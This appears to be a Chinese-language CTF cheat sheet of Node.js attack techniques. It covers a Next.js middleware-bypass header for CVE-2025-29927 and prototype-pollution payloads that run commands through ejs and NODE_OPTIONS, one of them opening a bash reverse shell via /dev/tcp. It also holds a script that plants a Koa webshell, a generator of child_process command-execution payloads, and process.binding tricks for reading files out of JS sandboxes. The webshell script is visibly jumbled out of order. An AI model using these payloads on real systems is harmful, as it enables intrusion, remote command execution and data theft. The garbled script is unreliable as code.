next_js 中间件绕过 cve-2025-29927 请求头加上 x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 出现新的 Etag,替换一下给 If-None-Match,然后访问/dashboard 即可
小知识 connect.sid 类型的 Cookie,常见于使用 Express.js 搭配 express-session 中间件构建的 Node.js 应用
原型链污染 原型链污染, 过滤了 __proto__, 用 constructor.prototype 绕过 ejs 模板注入https://www.anquanke.com/post/id/236354
{ "username" : "admin" , "password" : "123456" , "constructor" : { "prototype" : { "client" : true , "escapeFunction" : "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');" } } }
用了 fork
payload = { "constructor" : { "prototype" : { "NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "A" : "require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//" } } } } # 需要注意在 Payload 最后面有注释符 `
不出网写 webshell
import requestsimport reimport base64from time import sleepurl = "http://url:port" files = [ ('images' , ('anno.png' , open ('./1.png' , 'rb' ), 'image/png' )), ('images' , ('soyo.png' , open ('./2.png' , 'rb' ), 'image/png' )) ] res = requests.post(url + "/upload" , files=files) token = res.headers.get('Set-Cookie' ) match = re.search(r'token=([a-f0-9\-\.]+)' , token)if match : token = match .group(1 ) print (f"[+] token: {token} " ) headers = { 'Cookie' : f'token={token} ' } webshell = """ const Koa = require('koa') const Router = require('koa-router') const app = new Koa() const router = new Router() router.get("/webshell", async (ctx) => { const {cmd} = ctx.query res = require('child_process').execSync(cmd).toString() return ctx.body = { res } }) app.use(router.routes()) app.listen(3000, () => { console.log('http://127.0.0.1:3000') }) """ encoded_webshell = base64.b64encode(webshell.encode()).decode() payload = { "constructor" : { "prototype" : { "NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "A" : f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//" } } } } except Exception as e: pass sleep(2 ) res = requests.get(url + "/webshell?cmd=cat /flag" ) print (res.text)next_js 中间件绕过 cve-2025 -29927 小知识 requests.post(url + "/config" , json=payload, headers=headers) try : requests.post(url + "/process" , headers=headers) except Exception as e: pass sleep(2 ) res = requests.get(url + "/webshell?cmd=cat /flag" ) print (res.text)
jsjail require(Common JS) 或 import(ES6) import argparselist1 = [ '(1).constructor.constructor("return {}.toString();")();' , 'true.constructor.constructor("return {}.toString();")();' , '"1".constructor.constructor("return {}.toString();")();' , "setInterval(function(){{{}}},1000);(慎用,循环执行)" , "setTimeout(function(){{{}}},1000);" , "Function({})();" , ] dict1 = { "require" : [ "require('child_process').exec('{}')" , "require('child_process').execSync('{}')" , "require('child_process').spawn('{}')" , "require('child_process').spawnSync('{}')" , "require('child_process').execFile('{}')" , "require('child_process').execFileSync('{}')" , "global.process.mainModule.constructor._load('child_process').exec('{}')" , ], "import" : [ "import('child_process').then(cp=>{{cp.exec('{}');}})" , "global.process.mainModule.constructor._load('child_process').exec('{}')" , ], } def test_for_sys (command, module ): flag = list () module = str (module).lower() if module not in ["commonjs" , "es6" ]: print ("module error only in Commonjs or ES6" ) exit(1 ) elif module == "commonjs" : for i in list1: for j in dict1["require" ]: p = i.format (j.format (command)) flag.append(p) else : for i in list1: for j in dict1["import" ]: p = i.format (j.format (command)) flag.append(p) for i in flag: print (i) parser = argparse.ArgumentParser( description="Description:This Program userd to generate Node.js Command execution payload" ) parser.add_argument("--command" , "-c" , help ="command eg:whoami" , required=True ) parser.add_argument( "--module" , "-m" , help ="nodejs module eg:commonjs or ES6" , default="commonjs" ) args = parser.parse_args() if __name__ == "__main__" : try : test_for_sys(args.command, args.module) except Exception as e: print (e)
利用 process.binding 实现任意文件读取 当 ES6 的 js 文件使用了 eval 函数执行命令时,很不幸的事是:因为 import 不能和 require 共存,require 是用不了的,又因为 VM 的限制,在 await eval 里面不能使用 import,不然会报错。 一个测试:
import readline from "node:readline/promises" ;using rl = readline.createInterface ({ input : process.stdin , output : process.stderr }); await rl.question ('eval>' ).then (eval ).then (console .log );
一旦调用了 import,会报错 这里想了一个方法:nodejs 提供了一个底层 api:process.binding。你可以用这里面的 api 实现像 C++代码一样的执行命令。 里面的库还挺多,我只研究了 fs 库。
const bindingFs = process.binding ("fs" );console .log (bindingFs);
会看到很多函数,这里主要关注 open,read 和 readdir
获取某个目录下的全部文件(如根目录)
eval ( `const bindingFs = process.binding("fs");const files = bindingFs.readdir("/", "utf8", {}); if (Array.isArray(files)) { console.log("成功! 文件列表:"); files.forEach((file) => { console.log(" - ", file); })}` );
读取任意文件:
eval (`const bindingFs = process.binding("fs");console.log(bindingFs.read);const fd = bindingFs.open("flag.txt", 0, 0o666);const buffer = Buffer.alloc(1024);const bytesRead = bindingFs.read(fd, buffer, 0, buffer.length, 0);bindingFs.close(fd);console.log(buffer.slice(0, bytesRead).toString()); ` );